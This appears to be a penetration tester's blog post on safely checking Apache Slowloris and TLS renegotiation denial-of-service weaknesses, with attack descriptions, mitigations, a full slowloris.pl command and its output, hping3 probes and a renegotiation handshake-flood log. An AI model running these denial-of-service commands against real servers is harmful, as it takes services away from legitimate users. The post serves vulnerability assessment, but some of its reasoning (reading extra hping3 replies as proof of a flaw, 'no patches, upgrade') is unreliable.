Symetric Denial of Service Testing - Aka 1 on 1


This post is going to explain how to test a Denial of Service Vulnerability without crashing the actual service. More specifically we will focus on two vulnerabilities a) the slowris vulnerability (also known as Apache Partial HTTP Request Denial of Service Vulnerability) and b) the TLS Renegotiation and Denial of Service Attacks.

Apache Partial HTTP Request Denial of Service Vulnerability

The target application Apache Server is vulnerable to a denial of service named Slow-DoS attack, due to holding a connection open for partial HTTP requests. Both Apache Versions 1.x and 2.x are vulnerable. Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

Business Impact

A remote attacker can cause a denial of service against the Web server which would prevent legitimate users from accessing the site.


There are no vendor-supplied patches available at this time.  Upgrade to the latest version.


Slowloris tool output:

./slowloris.pl -dns xxx.xxx.xxx -port 80 -timeout 2000 -num 100 -tcpto 5
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Multithreading enabled.
Connecting to xxx.xxx.xxx:80 every 2000 seconds with 100 sockets:
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 446 packets successfully.
This thread now sleeping for 2000 seconds...

                Sending data.
Current stats:  Slowloris has now sent 500 packets successfully.
This thread now sleeping for 2000 seconds...

Hping3 output

 hping3 -T -p 80  xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
--- hping statistic ---
10 packets transmitted, 21 packets received, 0% packet loss


In this scenario we send a low bust of packages using Slowloris and then launched Hping3 in port 80 (the same port as Slowloris) and saw that because the Slowloris open too many connections start receiving more packages than send.

TLS Protocol Session Renegotiation Security Vulnerability

TLS protocol is prone to a security vulnerability that allows for man-in-the-middle attacks and Denial of Service attacks. This issue does not allow attackers to decrypt encrypted data. More specifically, the issue exists in a way applications handle the session renegotiation process and may allow attackers to inject arbitrary plaintext into the beginning of application protocol stream.

  • In case of the HTTP protocol used with the vulnerable TLS implementation, this attack is carried out by intercepting 'Client Hello' requests and then forcing session renegotiation. An unauthorized attacker can then cause the webserver to process arbitrary requests that would otherwise require valid client side certificate for authorization. The attacker will not be able to gain direct access to the server response.
  •  Denial of Service attack is also be feasible. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiation via single TCP connection and crush the service.

Business Impact

An adversary can potentially exploit the vulnerability and cause compromise of the confidentiality and availability of the vulnerable service.


Man In The Middle Attack:

  • OpenSSL workaround- OpenSSL has provided a version (0.9.8l) that has a workaround. Please refer to OpenSSL Change Log (Changes between 0.9.8k and 0.9.8l Section).
  •  Microsoft workaround - Enable SSLAlwaysNegoClientCert on IIS 6 and above: Web servers running IIS 6 and later that are affected because they require mutual authentication by requesting a client certificate, can be hardened by enabling the SSLAlwaysNegoClientCert setting. This will cause IIS to prompt the client for a certificate upon the initial connection, and does not require a server-initiated renegotiation.
 For Denial of Service Attack –  No real solutions exists. The following steps can mitigate (but not solve) the problem:

  • Disable SSL-Renegotiation
  • Install SSL Accelerator

Handshakes 0 [0.00 h/s], 1 Conn, 0 Err
Handshakes 44 [43.48 h/s], 16 Conn, 0 Err
Handshakes 118 [71.32 h/s], 25 Conn, 0 Err
Handshakes 193 [76.69 h/s], 32 Conn, 0 Err
Handshakes 290 [99.53 h/s], 38 Conn, 0 Err
Handshakes 371 [79.16 h/s], 43 Conn, 0 Err
Handshakes 459 [89.97 h/s], 48 Conn, 0 Err
Handshakes 545 [87.55 h/s], 52 Conn, 0 Err
Handshakes 632 [84.57 h/s], 56 Conn, 0 Err
Handshakes 728 [96.96 h/s], 60 Conn, 0 Err
Handshakes 819 [91.05 h/s], 63 Conn, 0 Err
Handshakes 913 [95.76 h/s], 66 Conn, 0 Err
Handshakes 989 [76.02 h/s], 70 Conn, 0 Err
Handshakes 1086 [96.98 h/s], 73 Conn, 0 Err
Handshakes 1165 [78.37 h/s], 77 Conn, 0 Err
Handshakes 1264 [97.87 h/s], 81 Conn, 0 Err
Handshakes 3642 [89.20 h/s], 144 Conn, 0 Err
Handshakes 3738 [92.35 h/s], 146 Conn, 0 Err
Handshakes 3828 [92.36 h/s], 148 Conn, 0 Err
Handshakes 3919 [93.75 h/s], 149 Conn, 0 Err
Handshakes 4003 [83.73 h/s], 151 Conn, 0 Err
Handshakes 4099 [90.18 h/s], 153 Conn, 0 Err
Handshakes 4197 [105.10 h/s], 155 Conn, 0 Err
Handshakes 4288 [90.83 h/s], 157 Conn, 0 Err
Handshakes 4379 [88.02 h/s], 159 Conn, 0 Err
Handshakes 4468 [88.77 h/s], 160 Conn, 0 Err
Handshakes 4568 [95.30 h/s], 162 Conn, 0 Err
Handshakes 4649 [87.94 h/s], 164 Conn, 0 Err
Handshakes 4743 [89.97 h/s], 166 Conn, 0 Err
Handshakes 4844 [106.67 h/s], 167 Conn, 0 Err
Handshakes 4930 [81.71 h/s], 169 Conn, 0 Err

Hping3 output

 hping3 -T -p 443 xxx.xxx.xxx

HPING xxx.xxx.xxx (eth1 xxx.xxx.xxx): NO FLAGS are set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=xxx.xxx.xx. name=xxx
hop=1 hoprtt=0.6 ms
--- xxx.xxx.xxx hping statistic ---
10 packets transmitted, 15 packets received, 0% packet loss


Running point and click hacking tools for testing for Symmetric  DoS vulnerabilities should not be a taboo. If this is done then there zero doubt that this specific vulnerability can be exploited e.g. the sys admin can use stress test tools to record the performance of the server etc.